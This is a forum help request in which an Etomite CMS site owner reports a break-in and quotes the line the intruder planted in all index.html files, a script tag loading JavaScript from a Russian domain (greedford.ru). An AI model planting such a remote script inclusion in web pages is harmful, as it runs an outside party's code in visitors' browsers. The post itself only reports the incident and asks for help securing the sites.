No replies to this topic

[aogrepairs]

i have 2 etomite sites on one machine. i checked my sites today and the home pages were blank. eventually i found what was happening. the intruder somehow managed to modify my index.php file. they placed code to refer back to another site and referenced a javascript emulator of some sort. i removed the code and my sites come back up fine, however im sure it will happen again as i do not know how the intrusion took place. any help is most appreciated.

after further investigation the following code is in all of the index.html files in all folders:

<script type="text/javascript" src="http://greedford.ru:...n.js"></script>


im using 1.1 prelude

Edited by aogrepairs, 13 July 2010 - 06:56 PM.